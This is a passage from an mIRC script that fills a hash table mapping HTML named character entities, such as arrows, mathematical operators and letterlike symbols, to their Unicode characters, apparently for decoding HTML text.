  3627.   hadd %h /^Bscr$/671 $chr($base(212C, 16, 10))
  3628.   hadd %h /^Cfr$/672 $chr($base(212D, 16, 10))
  3629.   hadd %h /^Cayleys$/673 $chr($base(212D, 16, 10))
  3630.   hadd %h /^escr$/674 $chr($base(212F, 16, 10))
  3631.   hadd %h /^Escr$/675 $chr($base(2130, 16, 10))
  3632.   hadd %h /^expectation$/676 $chr($base(2130, 16, 10))
  3633.   hadd %h /^Fscr$/677 $chr($base(2131, 16, 10))
  3634.   hadd %h /^Fouriertrf$/678 $chr($base(2131, 16, 10))
  3635.   hadd %h /^phmmat$/679 $chr($base(2133, 16, 10))
  3636.   hadd %h /^Mellintrf$/680 $chr($base(2133, 16, 10))
  3637.   hadd %h /^Mscr$/681 $chr($base(2133, 16, 10))
  3638.   hadd %h /^order$/682 $chr($base(2134, 16, 10))
  3639.   hadd %h /^orderof$/683 $chr($base(2134, 16, 10))
  3640.   hadd %h /^oscr$/684 $chr($base(2134, 16, 10))
  3641.   hadd %h /^alefsym$/685 $chr($base(2135, 16, 10))
  3642.   hadd %h /^aleph$/686 $chr($base(2135, 16, 10))
  3643.   hadd %h /^beth$/687 $chr($base(2136, 16, 10))
  3644.   hadd %h /^gimel$/688 $chr($base(2137, 16, 10))
  3645.   hadd %h /^daleth$/689 $chr($base(2138, 16, 10))
  3646.   hadd %h /^CapitalDifferentialD$/690 $chr($base(2145, 16, 10))
  3647.   hadd %h /^DD$/691 $chr($base(2145, 16, 10))
  3648.   hadd %h /^DifferentialD$/692 $chr($base(2146, 16, 10))
  3649.   hadd %h /^dd$/693 $chr($base(2146, 16, 10))
  3650.   hadd %h /^ExponentialE$/694 $chr($base(2147, 16, 10))
  3651.   hadd %h /^exponentiale$/695 $chr($base(2147, 16, 10))
  3652.   hadd %h /^ee$/696 $chr($base(2147, 16, 10))
  3653.   hadd %h /^ImaginaryI$/697 $chr($base(2148, 16, 10))
  3654.   hadd %h /^ii$/698 $chr($base(2148, 16, 10))
  3655.   hadd %h /^frac13$/699 $chr($base(2153, 16, 10))
  3656.   hadd %h /^frac23$/700 $chr($base(2154, 16, 10))
  3657.   hadd %h /^frac15$/701 $chr($base(2155, 16, 10))
  3658.   hadd %h /^frac25$/702 $chr($base(2156, 16, 10))
  3659.   hadd %h /^frac35$/703 $chr($base(2157, 16, 10))
  3660.   hadd %h /^frac45$/704 $chr($base(2158, 16, 10))
  3661.   hadd %h /^frac16$/705 $chr($base(2159, 16, 10))
  3662.   hadd %h /^frac56$/706 $chr($base(215A, 16, 10))
  3663.   hadd %h /^frac18$/707 $chr($base(215B, 16, 10))
  3664.   hadd %h /^frac38$/708 $chr($base(215C, 16, 10))
  3665.   hadd %h /^frac58$/709 $chr($base(215D, 16, 10))
  3666.   hadd %h /^frac78$/710 $chr($base(215E, 16, 10))
  3667.   hadd %h /^larr$/711 $chr($base(2190, 16, 10))
  3668.   hadd %h /^leftarrow$/712 $chr($base(2190, 16, 10))
  3669.   hadd %h /^LeftArrow$/713 $chr($base(2190, 16, 10))
  3670.   hadd %h /^slarr$/714 $chr($base(2190, 16, 10))
  3671.   hadd %h /^ShortLeftArrow$/715 $chr($base(2190, 16, 10))
  3672.   hadd %h /^uarr$/716 $chr($base(2191, 16, 10))
  3673.   hadd %h /^uparrow$/717 $chr($base(2191, 16, 10))
  3674.   hadd %h /^UpArrow$/718 $chr($base(2191, 16, 10))
  3675.   hadd %h /^ShortUpArrow$/719 $chr($base(2191, 16, 10))
  3676.   hadd %h /^rarr$/720 $chr($base(2192, 16, 10))
  3677.   hadd %h /^rightarrow$/721 $chr($base(2192, 16, 10))
  3678.   hadd %h /^RightArrow$/722 $chr($base(2192, 16, 10))
  3679.   hadd %h /^srarr$/723 $chr($base(2192, 16, 10))
  3680.   hadd %h /^ShortRightArrow$/724 $chr($base(2192, 16, 10))
  3681.   hadd %h /^darr$/725 $chr($base(2193, 16, 10))
  3682.   hadd %h /^downarrow$/726 $chr($base(2193, 16, 10))
  3683.   hadd %h /^DownArrow$/727 $chr($base(2193, 16, 10))
  3684.   hadd %h /^ShortDownArrow$/728 $chr($base(2193, 16, 10))
  3685.   hadd %h /^harr$/729 $chr($base(2194, 16, 10))
  3686.   hadd %h /^leftrightarrow$/730 $chr($base(2194, 16, 10))
  3687.   hadd %h /^LeftRightArrow$/731 $chr($base(2194, 16, 10))
  3688.   hadd %h /^varr$/732 $chr($base(2195, 16, 10))
  3689.   hadd %h /^updownarrow$/733 $chr($base(2195, 16, 10))
  3690.   hadd %h /^UpDownArrow$/734 $chr($base(2195, 16, 10))
  3691.   hadd %h /^nwarr$/735 $chr($base(2196, 16, 10))
  3692.   hadd %h /^UpperLeftArrow$/736 $chr($base(2196, 16, 10))
  3693.   hadd %h /^nwarrow$/737 $chr($base(2196, 16, 10))
  3694.   hadd %h /^nearr$/738 $chr($base(2197, 16, 10))
  3695.   hadd %h /^UpperRightArrow$/739 $chr($base(2197, 16, 10))
  3696.   hadd %h /^nearrow$/740 $chr($base(2197, 16, 10))
  3697.   hadd %h /^searr$/741 $chr($base(2198, 16, 10))
  3698.   hadd %h /^searrow$/742 $chr($base(2198, 16, 10))
  3699.   hadd %h /^LowerRightArrow$/743 $chr($base(2198, 16, 10))
  3700.   hadd %h /^swarr$/744 $chr($base(2199, 16, 10))
  3701.   hadd %h /^swarrow$/745 $chr($base(2199, 16, 10))
  3702.   hadd %h /^LowerLeftArrow$/746 $chr($base(2199, 16, 10))
  3703.   hadd %h /^nlarr$/747 $chr($base(219A, 16, 10))
  3704.   hadd %h /^nleftarrow$/748 $chr($base(219A, 16, 10))
  3705.   hadd %h /^nrarr$/749 $chr($base(219B, 16, 10))
  3706.   hadd %h /^nrightarrow$/750 $chr($base(219B, 16, 10))
  3707.   hadd %h /^rarrw$/751 $chr($base(219D, 16, 10))
  3708.   hadd %h /^rightsquigarrow$/752 $chr($base(219D, 16, 10))
  3709.   hadd %h /^nrarrw$/753 $chr($base(219D, 16, 10)) $+ $chr($base(0338, 16, 10))
  3710.   hadd %h /^Larr$/754 $chr($base(219E, 16, 10))
  3711.   hadd %h /^twoheadleftarrow$/755 $chr($base(219E, 16, 10))
  3712.   hadd %h /^Uarr$/756 $chr($base(219F, 16, 10))
  3713.   hadd %h /^Rarr$/757 $chr($base(21A0, 16, 10))
  3714.   hadd %h /^twoheadrightarrow$/758 $chr($base(21A0, 16, 10))
  3715.   hadd %h /^Darr$/759 $chr($base(21A1, 16, 10))
  3716.   hadd %h /^larrtl$/760 $chr($base(21A2, 16, 10))
  3717.   hadd %h /^leftarrowtail$/761 $chr($base(21A2, 16, 10))
  3718.   hadd %h /^rarrtl$/762 $chr($base(21A3, 16, 10))
  3719.   hadd %h /^rightarrowtail$/763 $chr($base(21A3, 16, 10))
  3720.   hadd %h /^LeftTeeArrow$/764 $chr($base(21A4, 16, 10))
  3721.   hadd %h /^mapstoleft$/765 $chr($base(21A4, 16, 10))
  3722.   hadd %h /^UpTeeArrow$/766 $chr($base(21A5, 16, 10))
  3723.   hadd %h /^mapstoup$/767 $chr($base(21A5, 16, 10))
  3724.   hadd %h /^map$/768 $chr($base(21A6, 16, 10))
  3725.   hadd %h /^RightTeeArrow$/769 $chr($base(21A6, 16, 10))
  3726.   hadd %h /^mapsto$/770 $chr($base(21A6, 16, 10))
  3727.   hadd %h /^DownTeeArrow$/771 $chr($base(21A7, 16, 10))
  3728.   hadd %h /^mapstodown$/772 $chr($base(21A7, 16, 10))
  3729.   hadd %h /^larrhk$/773 $chr($base(21A9, 16, 10))
  3730.   hadd %h /^hookleftarrow$/774 $chr($base(21A9, 16, 10))
  3731.   hadd %h /^rarrhk$/775 $chr($base(21AA, 16, 10))
  3732.   hadd %h /^hookrightarrow$/776 $chr($base(21AA, 16, 10))
  3733.   hadd %h /^larrlp$/777 $chr($base(21AB, 16, 10))
  3734.   hadd %h /^looparrowleft$/778 $chr($base(21AB, 16, 10))
  3735.   hadd %h /^rarrlp$/779 $chr($base(21AC, 16, 10))
  3736.   hadd %h /^looparrowright$/780 $chr($base(21AC, 16, 10))
  3737.   hadd %h /^harrw$/781 $chr($base(21AD, 16, 10))
  3738.   hadd %h /^leftrightsquigarrow$/782 $chr($base(21AD, 16, 10))
  3739.   hadd %h /^nharr$/783 $chr($base(21AE, 16, 10))
  3740.   hadd %h /^nleftrightarrow$/784 $chr($base(21AE, 16, 10))
  3741.   hadd %h /^lsh$/785 $chr($base(21B0, 16, 10))
  3742.   hadd %h /^Lsh$/786 $chr($base(21B0, 16, 10))
  3743.   hadd %h /^rsh$/787 $chr($base(21B1, 16, 10))
  3744.   hadd %h /^Rsh$/788 $chr($base(21B1, 16, 10))
  3745.   hadd %h /^ldsh$/789 $chr($base(21B2, 16, 10))
  3746.   hadd %h /^rdsh$/790 $chr($base(21B3, 16, 10))
  3747.   hadd %h /^crarr$/791 $chr($base(21B5, 16, 10))
  3748.   hadd %h /^cularr$/792 $chr($base(21B6, 16, 10))
  3749.   hadd %h /^curvearrowleft$/793 $chr($base(21B6, 16, 10))
  3750.   hadd %h /^curarr$/794 $chr($base(21B7, 16, 10))
  3751.   hadd %h /^curvearrowright$/795 $chr($base(21B7, 16, 10))
  3752.   hadd %h /^olarr$/796 $chr($base(21BA, 16, 10))
  3753.   hadd %h /^circlearrowleft$/797 $chr($base(21BA, 16, 10))
  3754.   hadd %h /^orarr$/798 $chr($base(21BB, 16, 10))
  3755.   hadd %h /^circlearrowright$/799 $chr($base(21BB, 16, 10))
  3756.   hadd %h /^lharu$/800 $chr($base(21BC, 16, 10))
  3757.   hadd %h /^LeftVector$/801 $chr($base(21BC, 16, 10))
  3758.   hadd %h /^leftharpoonup$/802 $chr($base(21BC, 16, 10))
  3759.   hadd %h /^lhard$/803 $chr($base(21BD, 16, 10))
  3760.   hadd %h /^leftharpoondown$/804 $chr($base(21BD, 16, 10))
  3761.   hadd %h /^DownLeftVector$/805 $chr($base(21BD, 16, 10))
  3762.   hadd %h /^uharr$/806 $chr($base(21BE, 16, 10))
  3763.   hadd %h /^upharpoonright$/807 $chr($base(21BE, 16, 10))
  3764.   hadd %h /^RightUpVector$/808 $chr($base(21BE, 16, 10))
  3765.   hadd %h /^uharl$/809 $chr($base(21BF, 16, 10))
  3766.   hadd %h /^upharpoonleft$/810 $chr($base(21BF, 16, 10))
  3767.   hadd %h /^LeftUpVector$/811 $chr($base(21BF, 16, 10))
  3768.   hadd %h /^rharu$/812 $chr($base(21C0, 16, 10))
  3769.   hadd %h /^RightVector$/813 $chr($base(21C0, 16, 10))
  3770.   hadd %h /^rightharpoonup$/814 $chr($base(21C0, 16, 10))
  3771.   hadd %h /^rhard$/815 $chr($base(21C1, 16, 10))
  3772.   hadd %h /^rightharpoondown$/816 $chr($base(21C1, 16, 10))
  3773.   hadd %h /^DownRightVector$/817 $chr($base(21C1, 16, 10))
  3774.   hadd %h /^dharr$/818 $chr($base(21C2, 16, 10))
  3775.   hadd %h /^RightDownVector$/819 $chr($base(21C2, 16, 10))
  3776.   hadd %h /^downharpoonright$/820 $chr($base(21C2, 16, 10))
  3777.   hadd %h /^dharl$/821 $chr($base(21C3, 16, 10))
  3778.   hadd %h /^LeftDownVector$/822 $chr($base(21C3, 16, 10))
  3779.   hadd %h /^downharpoonleft$/823 $chr($base(21C3, 16, 10))
  3780.   hadd %h /^rlarr$/824 $chr($base(21C4, 16, 10))
  3781.   hadd %h /^rightleftarrows$/825 $chr($base(21C4, 16, 10))
  3782.   hadd %h /^RightArrowLeftArrow$/826 $chr($base(21C4, 16, 10))
  3783.   hadd %h /^udarr$/827 $chr($base(21C5, 16, 10))
  3784.   hadd %h /^UpArrowDownArrow$/828 $chr($base(21C5, 16, 10))
  3785.   hadd %h /^lrarr$/829 $chr($base(21C6, 16, 10))
  3786.   hadd %h /^leftrightarrows$/830 $chr($base(21C6, 16, 10))
  3787.   hadd %h /^LeftArrowRightArrow$/831 $chr($base(21C6, 16, 10))
  3788.   hadd %h /^llarr$/832 $chr($base(21C7, 16, 10))
  3789.   hadd %h /^leftleftarrows$/833 $chr($base(21C7, 16, 10))
  3790.   hadd %h /^uuarr$/834 $chr($base(21C8, 16, 10))
  3791.   hadd %h /^upuparrows$/835 $chr($base(21C8, 16, 10))
  3792.   hadd %h /^rrarr$/836 $chr($base(21C9, 16, 10))
  3793.   hadd %h /^rightrightarrows$/837 $chr($base(21C9, 16, 10))
  3794.   hadd %h /^ddarr$/838 $chr($base(21CA, 16, 10))
  3795.   hadd %h /^downdownarrows$/839 $chr($base(21CA, 16, 10))
  3796.   hadd %h /^lrhar$/840 $chr($base(21CB, 16, 10))
  3797.   hadd %h /^ReverseEquilibrium$/841 $chr($base(21CB, 16, 10))
  3798.   hadd %h /^leftrightharpoons$/842 $chr($base(21CB, 16, 10))
  3799.   hadd %h /^rlhar$/843 $chr($base(21CC, 16, 10))
  3800.   hadd %h /^rightleftharpoons$/844 $chr($base(21CC, 16, 10))
  3801.   hadd %h /^Equilibrium$/845 $chr($base(21CC, 16, 10))
  3802.   hadd %h /^nlArr$/846 $chr($base(21CD, 16, 10))
  3803.   hadd %h /^nLeftarrow$/847 $chr($base(21CD, 16, 10))
  3804.   hadd %h /^nhArr$/848 $chr($base(21CE, 16, 10))
  3805.   hadd %h /^nLeftrightarrow$/849 $chr($base(21CE, 16, 10))
  3806.   hadd %h /^nrArr$/850 $chr($base(21CF, 16, 10))
  3807.   hadd %h /^nRightarrow$/851 $chr($base(21CF, 16, 10))
  3808.   hadd %h /^lArr$/852 $chr($base(21D0, 16, 10))
  3809.   hadd %h /^Leftarrow$/853 $chr($base(21D0, 16, 10))
  3810.   hadd %h /^DoubleLeftArrow$/854 $chr($base(21D0, 16, 10))
  3811.   hadd %h /^uArr$/855 $chr($base(21D1, 16, 10))
  3812.   hadd %h /^Uparrow$/856 $chr($base(21D1, 16, 10))
  3813.   hadd %h /^DoubleUpArrow$/857 $chr($base(21D1, 16, 10))
  3814.   hadd %h /^rArr$/858 $chr($base(21D2, 16, 10))
  3815.   hadd %h /^Rightarrow$/859 $chr($base(21D2, 16, 10))
  3816.   hadd %h /^Implies$/860 $chr($base(21D2, 16, 10))
  3817.   hadd %h /^DoubleRightArrow$/861 $chr($base(21D2, 16, 10))
  3818.   hadd %h /^dArr$/862 $chr($base(21D3, 16, 10))
  3819.   hadd %h /^Downarrow$/863 $chr($base(21D3, 16, 10))
  3820.   hadd %h /^DoubleDownArrow$/864 $chr($base(21D3, 16, 10))
  3821.   hadd %h /^hArr$/865 $chr($base(21D4, 16, 10))
  3822.   hadd %h /^Leftrightarrow$/866 $chr($base(21D4, 16, 10))
  3823.   hadd %h /^DoubleLeftRightArrow$/867 $chr($base(21D4, 16, 10))
  3824.   hadd %h /^iff$/868 $chr($base(21D4, 16, 10))
  3825.   hadd %h /^vArr$/869 $chr($base(21D5, 16, 10))
  3826.   hadd %h /^Updownarrow$/870 $chr($base(21D5, 16, 10))
  3827.   hadd %h /^DoubleUpDownArrow$/871 $chr($base(21D5, 16, 10))
  3828.   hadd %h /^nwArr$/872 $chr($base(21D6, 16, 10))
  3829.   hadd %h /^neArr$/873 $chr($base(21D7, 16, 10))
  3830.   hadd %h /^seArr$/874 $chr($base(21D8, 16, 10))
  3831.   hadd %h /^swArr$/875 $chr($base(21D9, 16, 10))
  3832.   hadd %h /^lAarr$/876 $chr($base(21DA, 16, 10))
  3833.   hadd %h /^Lleftarrow$/877 $chr($base(21DA, 16, 10))
  3834.   hadd %h /^rAarr$/878 $chr($base(21DB, 16, 10))
  3835.   hadd %h /^Rrightarrow$/879 $chr($base(21DB, 16, 10))
  3836.   hadd %h /^zigrarr$/880 $chr($base(21DD, 16, 10))
  3837.   hadd %h /^larrb$/881 $chr($base(21E4, 16, 10))
  3838.   hadd %h /^LeftArrowBar$/882 $chr($base(21E4, 16, 10))
  3839.   hadd %h /^rarrb$/883 $chr($base(21E5, 16, 10))
  3840.   hadd %h /^RightArrowBar$/884 $chr($base(21E5, 16, 10))
  3841.   hadd %h /^duarr$/885 $chr($base(21F5, 16, 10))
  3842.   hadd %h /^DownArrowUpArrow$/886 $chr($base(21F5, 16, 10))
  3843.   hadd %h /^loarr$/887 $chr($base(21FD, 16, 10))
  3844.   hadd %h /^roarr$/888 $chr($base(21FE, 16, 10))
  3845.   hadd %h /^hoarr$/889 $chr($base(21FF, 16, 10))
  3846.   hadd %h /^forall$/890 $chr($base(2200, 16, 10))
  3847.   hadd %h /^ForAll$/891 $chr($base(2200, 16, 10))
  3848.   hadd %h /^comp$/892 $chr($base(2201, 16, 10))
  3849.   hadd %h /^complement$/893 $chr($base(2201, 16, 10))
  3850.   hadd %h /^part$/894 $chr($base(2202, 16, 10))
  3851.   hadd %h /^PartialD$/895 $chr($base(2202, 16, 10))
  3852.   hadd %h /^npart$/896 $chr($base(2202, 16, 10)) $+ $chr($base(0338, 16, 10))
  3853.   hadd %h /^exist$/897 $chr($base(2203, 16, 10))
  3854.   hadd %h /^Exists$/898 $chr($base(2203, 16, 10))
  3855.   hadd %h /^nexist$/899 $chr($base(2204, 16, 10))
  3856.   hadd %h /^NotExists$/900 $chr($base(2204, 16, 10))
  3857.   hadd %h /^nexists$/901 $chr($base(2204, 16, 10))
  3858.   hadd %h /^empty$/902 $chr($base(2205, 16, 10))
  3859.   hadd %h /^emptyset$/903 $chr($base(2205, 16, 10))
  3860.   hadd %h /^emptyv$/904 $chr($base(2205, 16, 10))
  3861.   hadd %h /^varnothing$/905 $chr($base(2205, 16, 10))
  3862.   hadd %h /^nabla$/906 $chr($base(2207, 16, 10))
  3863.   hadd %h /^Del$/907 $chr($base(2207, 16, 10))
  3864.   hadd %h /^isin$/908 $chr($base(2208, 16, 10))
  3865.   hadd %h /^isinv$/909 $chr($base(2208, 16, 10))
  3866.   hadd %h /^Element$/910 $chr($base(2208, 16, 10))
  3867.   hadd %h /^in$/911 $chr($base(2208, 16, 10))
  3868.   hadd %h /^notin$/912 $chr($base(2209, 16, 10))
  3869.   hadd %h /^NotElement$/913 $chr($base(2209, 16, 10))
  3870.   hadd %h /^notinva$/914 $chr($base(2209, 16, 10))
  3871.   hadd %h /^niv$/915 $chr($base(220B, 16, 10))
  3872.   hadd %h /^ReverseElement$/916 $chr($base(220B, 16, 10))
  3873.   hadd %h /^ni$/917 $chr($base(220B, 16, 10))
  3874.   hadd %h /^SuchThat$/918 $chr($base(220B, 16, 10))
  3875.   hadd %h /^notni$/919 $chr($base(220C, 16, 10))
  3876.   hadd %h /^notniva$/920 $chr($base(220C, 16, 10))
  3877.   hadd %h /^NotReverseElement$/921 $chr($base(220C, 16, 10))
  3878.   hadd %h /^prod$/922 $chr($base(220F, 16, 10))
  3879.   hadd %h /^Product$/923 $chr($base(220F, 16, 10))
  3880.   hadd %h /^coprod$/924 $chr($base(2210, 16, 10))
  3881.   hadd %h /^Coproduct$/925 $chr($base(2210, 16, 10))
  3882.   hadd %h /^sum$/926 $chr($base(2211, 16, 10))
  3883.   hadd %h /^Sum$/927 $chr($base(2211, 16, 10))
  3884.   hadd %h /^minus$/928 $chr($base(2212, 16, 10))
  3885.   hadd %h /^mnplus$/929 $chr($base(2213, 16, 10))
  3886.   hadd %h /^mp$/930 $chr($base(2213, 16, 10))
  3887.   hadd %h /^MinusPlus$/931 $chr($base(2213, 16, 10))
  3888.   hadd %h /^plusdo$/932 $chr($base(2214, 16, 10))
  3889.   hadd %h /^dotplus$/933 $chr($base(2214, 16, 10))
  3890.   hadd %h /^setmn$/934 $chr($base(2216, 16, 10))
  3891.   hadd %h /^setminus$/935 $chr($base(2216, 16, 10))
  3892.   hadd %h /^Backslash$/936 $chr($base(2216, 16, 10))
  3893.   hadd %h /^ssetmn$/937 $chr($base(2216, 16, 10))
  3894.   hadd %h /^smallsetminus$/938 $chr($base(2216, 16, 10))
  3895.   hadd %h /^lowast$/939 $chr($base(2217, 16, 10))
  3896.   hadd %h /^compfn$/940 $chr($base(2218, 16, 10))
  3897.   hadd %h /^SmallCircle$/941 $chr($base(2218, 16, 10))
  3898.   hadd %h /^radic$/942 $chr($base(221A, 16, 10))
  3899.   hadd %h /^Sqrt$/943 $chr($base(221A, 16, 10))
  3900.   hadd %h /^prop$/944 $chr($base(221D, 16, 10))
  3901.   hadd %h /^propto$/945 $chr($base(221D, 16, 10))
  3902.   hadd %h /^Proportional$/946 $chr($base(221D, 16, 10))
  3903.   hadd %h /^vprop$/947 $chr($base(221D, 16, 10))
  3904.   hadd %h /^varpropto$/948 $chr($base(221D, 16, 10))
  3905.   hadd %h /^infin$/949 $chr($base(221E, 16, 10))
  3906.   hadd %h /^angrt$/950 $chr($base(221F, 16, 10))
  3907.   hadd %h /^ang$/951 $chr($base(2220, 16, 10))
  3908.   hadd %h /^angle$/952 $chr($base(2220, 16, 10))
  3909.   hadd %h /^nang$/953 $chr($base(2220, 16, 10)) $+ $chr($base(20D2, 16, 10))
  3910.   hadd %h /^angmsd$/954 $chr($base(2221, 16, 10))
  3911.   hadd %h /^measuredangle$/955 $chr($base(2221, 16, 10))
  3912.   hadd %h /^angsph$/956 $chr($base(2222, 16, 10))
  3913.   hadd %h /^mid$/957 $chr($base(2223, 16, 10))
  3914.   hadd %h /^VerticalBar$/958 $chr($base(2223, 16, 10))
  3915.   hadd %h /^smid$/959 $chr($base(2223, 16, 10))
  3916.   hadd %h /^shortmid$/960 $chr($base(2223, 16, 10))
  3917.   hadd %h /^nmid$/961 $chr($base(2224, 16, 10))
  3918.   hadd %h /^NotVerticalBar$/962 $chr($base(2224, 16, 10))
  3919.   hadd %h /^nsmid$/963 $chr($base(2224, 16, 10))
  3920.   hadd %h /^nshortmid$/964 $chr($base(2224, 16, 10))
  3921.   hadd %h /^par$/965 $chr($base(2225, 16, 10))
  3922.   hadd %h /^parallel$/966 $chr($base(2225, 16, 10))
  3923.   hadd %h /^DoubleVerticalBar$/967 $chr($base(2225, 16, 10))
  3924.   hadd %h /^spar$/968 $chr($base(2225, 16, 10))
  3925.   hadd %h /^shortparallel$/969 $chr($base(2225, 16, 10))
  3926.   hadd %h /^npar$/970 $chr($base(2226, 16, 10))
  3927.   hadd %h /^nparallel$/971 $chr($base(2226, 16, 10))
  3928.   hadd %h /^NotDoubleVerticalBar$/972 $chr($base(2226, 16, 10))
  3929.   hadd %h /^nspar$/973 $chr($base(2226, 16, 10))
  3930.   hadd %h /^nshortparallel$/974 $chr($base(2226, 16, 10))
  3931.   hadd %h /^and$/975 $chr($base(2227, 16, 10))
  3932.   hadd %h /^wedge$/976 $chr($base(2227, 16, 10))
  3933.   hadd %h /^or$/977 $chr($base(2228, 16, 10))
  3934.   hadd %h /^vee$/978 $chr($base(2228, 16, 10))
  3935.   hadd %h /^cap$/979 $chr($base(2229, 16, 10))
  3936.   hadd %h /^caps$/980 $chr($base(2229, 16, 10)) $+ $chr($base(FE00, 16, 10))
  3937.   hadd %h /^cup$/981 $chr($base(222A, 16, 10))
  3938.   hadd %h /^cups$/982 $chr($base(222A, 16, 10)) $+ $chr($base(FE00, 16, 10))
  3939.   hadd %h /^int$/983 $chr($base(222B, 16, 10))
  3940.   hadd %h /^Integral$/984 $chr($base(222B, 16, 10))
  3941.   hadd %h /^Int$/985 $chr($base(222C, 16, 10))
  3942.   hadd %h /^tint$/986 $chr($base(222D, 16, 10))
  3943.   hadd %h /^iiint$/987 $chr($base(222D, 16, 10))
  3944.   hadd %h /^conint$/988 $chr($base(222E, 16, 10))
  3945.   hadd %h /^oint$/989 $chr($base(222E, 16, 10))
  3946.   hadd %h /^ContourIntegral$/990 $chr($base(222E, 16, 10))
  3947.   hadd %h /^Conint$/991 $chr($base(222F, 16, 10))
  3948.   hadd %h /^DoubleContourIntegral$/992 $chr($base(222F, 16, 10))
  3949.   hadd %h /^Cconint$/993 $chr($base(2230, 16, 10))
  3950.   hadd %h /^cwint$/994 $chr($base(2231, 16, 10))
  3951.   hadd %h /^cwconint$/995 $chr($base(2232, 16, 10))
  3952.   hadd %h /^ClockwiseContourIntegral$/996 $chr($base(2232, 16, 10))
  3953.   hadd %h /^awconint$/997 $chr($base(2233, 16, 10))
  3954.   hadd %h /^CounterClockwiseContourIntegral$/998 $chr($base(2233, 16, 10))
  3955.   hadd %h /^there4$/999 $chr($base(2234, 16, 10))
  3956.   hadd %h /^therefore$/1000 $chr($base(2234, 16, 10))
  3957.   hadd %h /^Therefore$/1001 $chr($base(2234, 16, 10))
  3958.   hadd %h /^becaus$/1002 $chr($base(2235, 16, 10))
  3959.   hadd %h /^because$/1003 $chr($base(2235, 16, 10))
  3960.   hadd %h /^Because$/1004 $chr($base(2235, 16, 10))
  3961.   hadd %h /^ratio$/1005 $chr($base(2236, 16, 10))
  3962.   hadd %h /^Colon$/1006 $chr($base(2237, 16, 10))
  3963.   hadd %h /^Proportion$/1007 $chr($base(2237, 16, 10))
  3964.   hadd %h /^minusd$/1008 $chr($base(2238, 16, 10))
  3965.   hadd %h /^dotminus$/1009 $chr($base(2238, 16, 10))
  3966.   hadd %h /^mDDot$/1010 $chr($base(223A, 16, 10))
  3967.   hadd %h /^homtht$/1011 $chr($base(223B, 16, 10))
  3968.   hadd %h /^sim$/1012 $chr($base(223C, 16, 10))
  3969.   hadd %h /^Tilde$/1013 $chr($base(223C, 16, 10))
  3970.   hadd %h /^thksim$/1014 $chr($base(223C, 16, 10))
  3971.   hadd %h /^thicksim$/1015 $chr($base(223C, 16, 10))
  3972.   hadd %h /^nvsim$/1016 $chr($base(223C, 16, 10)) $+ $chr($base(20D2, 16, 10))
  3973.   hadd %h /^bsim$/1017 $chr($base(223D, 16, 10))
  3974.   hadd %h /^backsim$/1018 $chr($base(223D, 16, 10))
  3975.   hadd %h /^race$/1019 $chr($base(223D, 16, 10)) $+ $chr($base(0331, 16, 10))
  3976.   hadd %h /^ac$/1020 $chr($base(223E, 16, 10))
  3977.   hadd %h /^mstpos$/1021 $chr($base(223E, 16, 10))
  3978.   hadd %h /^acE$/1022 $chr($base(223E, 16, 10)) $+ $chr($base(0333, 16, 10))
  3979.   hadd %h /^acd$/1023 $chr($base(223F, 16, 10))
  3980.   hadd %h /^wreath$/1024 $chr($base(2240, 16, 10))
  3981.   hadd %h /^VerticalTilde$/1025 $chr($base(2240, 16, 10))
  3982.   hadd %h /^wr$/1026 $chr($base(2240, 16, 10))
  3983.   hadd %h /^nsim$/1027 $chr($base(2241, 16, 10))
  3984.   hadd %h /^NotTilde$/1028 $chr($base(2241, 16, 10))
  3985.   hadd %h /^esim$/1029 $chr($base(2242, 16, 10))
  3986.   hadd %h /^EqualTilde$/1030 $chr($base(2242, 16, 10))
  3987.   hadd %h /^eqsim$/1031 $chr($base(2242, 16, 10))
  3988.   hadd %h /^NotEqualTilde$/1032 $chr($base(2242, 16, 10)) $+ $chr($base(0338, 16, 10))
  3989.   hadd %h /^nesim$/1033 $chr($base(2242, 16, 10)) $+ $chr($base(0338, 16, 10))
  3990.   hadd %h /^sime$/1034 $chr($base(2243, 16, 10))
  3991.   hadd %h /^TildeEqual$/1035 $chr($base(2243, 16, 10))
  3992.   hadd %h /^simeq$/1036 $chr($base(2243, 16, 10))
  3993.   hadd %h /^nsime$/1037 $chr($base(2244, 16, 10))
  3994.   hadd %h /^nsimeq$/1038 $chr($base(2244, 16, 10))
  3995.   hadd %h /^NotTildeEqual$/1039 $chr($base(2244, 16, 10))
  3996.   hadd %h /^cong$/1040 $chr($base(2245, 16, 10))
  3997.   hadd %h /^TildeFullEqual$/1041 $chr($base(2245, 16, 10))
  3998.   hadd %h /^simne$/1042 $chr($base(2246, 16, 10))
  3999.   hadd %h /^ncong$/1043 $chr($base(2247, 16, 10))
  4000.   hadd %h /^NotTildeFullEqual$/1044 $chr($base(2247, 16, 10))
  4001.   hadd %h /^asymp$/1045 $chr($base(2248, 16, 10))
  4002.   hadd %h /^ap$/1046 $chr($base(2248, 16, 10))
  4003.   hadd %h /^TildeTilde$/1047 $chr($base(2248, 16, 10))
  4004.   hadd %h /^approx$/1048 $chr($base(2248, 16, 10))
  4005.   hadd %h /^thkap$/1049 $chr($base(2248, 16, 10))
  4006.   hadd %h /^thickapprox$/1050 $chr($base(2248, 16, 10))
  4007.   hadd %h /^nap$/1051 $chr($base(2249, 16, 10))
  4008.   hadd %h /^NotTildeTilde$/1052 $chr($base(2249, 16, 10))
  4009.   hadd %h /^napprox$/1053 $chr($base(2249, 16, 10))
  4010.   hadd %h /^ape$/1054 $chr($base(224A, 16, 10))
  4011.   hadd %h /^approxeq$/1055 $chr($base(224A, 16, 10))
  4012.   hadd %h /^apid$/1056 $chr($base(224B, 16, 10))
  4013.   hadd %h /^napid$/1057 $chr($base(224B, 16, 10)) $+ $chr($base(0338, 16, 10))
  4014.   hadd %h /^bcong$/1058 $chr($base(224C, 16, 10))
  4015.   hadd %h /^backcong$/1059 $chr($base(224C, 16, 10))
  4016.   hadd %h /^asympeq$/1060 $chr($base(224D, 16, 10))
  4017.   hadd %h /^CupCap$/1061 $chr($base(224D, 16, 10))
  4018.   hadd %h /^nvap$/1062 $chr($base(224D, 16, 10)) $+ $chr($base(20D2, 16, 10))
  4019.   hadd %h /^bump$/1063 $chr($base(224E, 16, 10))
  4020.   hadd %h /^HumpDownHump$/1064 $chr($base(224E, 16, 10))
  4021.   hadd %h /^Bumpeq$/1065 $chr($base(224E, 16, 10))
  4022.   hadd %h /^NotHumpDownHump$/1066 $chr($base(224E, 16, 10)) $+ $chr($base(0338, 16, 10))
  4023.   hadd %h /^nbump$/1067 $chr($base(224E, 16, 10)) $+ $chr($base(0338, 16, 10))
  4024.   hadd %h /^bumpe$/1068 $chr($base(224F, 16, 10))
  4025.   hadd %h /^HumpEqual$/1069 $chr($base(224F, 16, 10))
